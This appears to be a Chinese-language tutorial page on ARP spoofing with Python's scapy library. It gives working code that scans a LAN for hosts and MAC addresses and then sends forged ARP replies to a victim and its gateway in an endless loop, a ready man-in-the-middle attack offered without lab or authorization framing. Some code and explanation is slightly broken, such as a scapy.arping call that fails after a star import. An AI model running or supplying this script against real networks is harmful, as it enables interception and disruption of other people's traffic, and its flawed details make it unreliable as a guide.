关于“Python利用scapy实现ARP欺骗的方法”的攻略,我将按照以下步骤进行详细讲解:
一、什么是ARP欺骗?
ARP欺骗全称为Address Resolution Protocol Spoofing,它是一种利用网络中通信需要解析对方MAC地址的特性,欺骗网络的攻击行为。 basically,ARP欺骗的目的是将原本应该发往目标机器的数据包,锁定在攻击者机器上进行分析或者更改,同时将攻击机器的MAC地址伪装成目标机器的MAC地址,使目标机器陷入网络服务的瘫痪状态。
二、利用Scapy实现ARP欺骗的方法
Scapy 是一个能够操作、嗅探、构建数据包的 Python 库。它可以轻松地实现如果 ARP 欺骗、端口扫描、广告合成等操作。下面我们用 Scapy 来实现 ARP 欺骗。
- 首先先导入必要的库:
from scapy.all import *
- 然后定义发送ARP欺骗包的函数,以可以循环发送并休息数秒,这样就可以保证持续相当于永久的欺骗了。函数如下:
def arp_poison(target_ip,target_mac,gateway_ip):
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)
send(packet, verbose=0)
这里的解释:
target_ip
:受害者的 IP 地址target_mac
:受害者的 MAC 地址gateway_ip
:网关的 IP 地址op=2
:设置 ARP 操作代码为 2,即 ARP 响应pdst
:ARP 数据包中的目标 IP 地址hwdst
:ARP 数据包中的目标 MAC 地址-
psrc
:ARP 数据包中的源 IP 地址 -
接下来,使用
scapy.arping()
函数扫描目标网络的主机地址和 MAC 地址,代码如下:
# 扫描目标网络的主机地址和 MAC 地址
ans, unans = scapy.arping("192.168.0.100/24")
ans.summary(lambda s,r: r.sprintf("%Ether.src% %ARP.psrc%") )
这里的解释:
arping()
:使用 ARP 协议的主机探测函数,可使用简单的 ARP 模式活动,并给出结果"192.168.0.100/24"
:扫描目标的 IP 段网段,获得目标 IP、目标 MAC 地址
只要执行上述代码,就可以快速扫描整个局域网,并获得该网段的主机地址和 MAC 地址。接下来,将扫描得到的目标机 IP 和 MAC 地址以及网关的 IP 地址传入到arp_poison
函数中,用于向目标机和网络网关发送伪造的ARP数据包即可实现ARP欺骗,这里就不再赘述了。
三、 示例
下面给出两个示例,分别是扫描网络中主机的 IP 和 MAC 地址,以及实现 ARP 欺骗的示例。
示例一:扫描网络中主机的 IP 和 MAC 地址
from scapy.all import *
# 扫描目标网络的主机地址和 MAC 地址
ans, unans = scapy.arping("192.168.0.100/24")
ans.summary(lambda s,r: r.sprintf("%Ether.src% %ARP.psrc%") )
示例二:实现 ARP 欺骗
from scapy.all import *
def arp_poison(target_ip,target_mac,gateway_ip):
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)
send(packet, verbose=0)
# 目标 IP 和 MAC 地址
target_ip = "192.168.0.101"
target_mac = "08:00:27:d8:5d:24"
# 网关 IP 地址
gateway_ip = "192.168.0.1"
# 开始 ARP 欺骗
while True:
arp_poison(target_ip,target_mac,gateway_ip)
arp_poison(gateway_ip,"04:62:73:6e:24:f8",target_ip)
# 上述代码中的target_mac可以自己从扫描代码中获得,在实际操作中要进行替换
time.sleep(1.5)
以上两个示例分别是针对 Scapy 实现 ARP 欺骗的两个主要操作。如果需要其他操作,可以参考 Scapy 模块的官方文档进行学习。
希望这份攻略对你有所帮助!
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:Python利用scapy实现ARP欺骗的方法 - Python技术站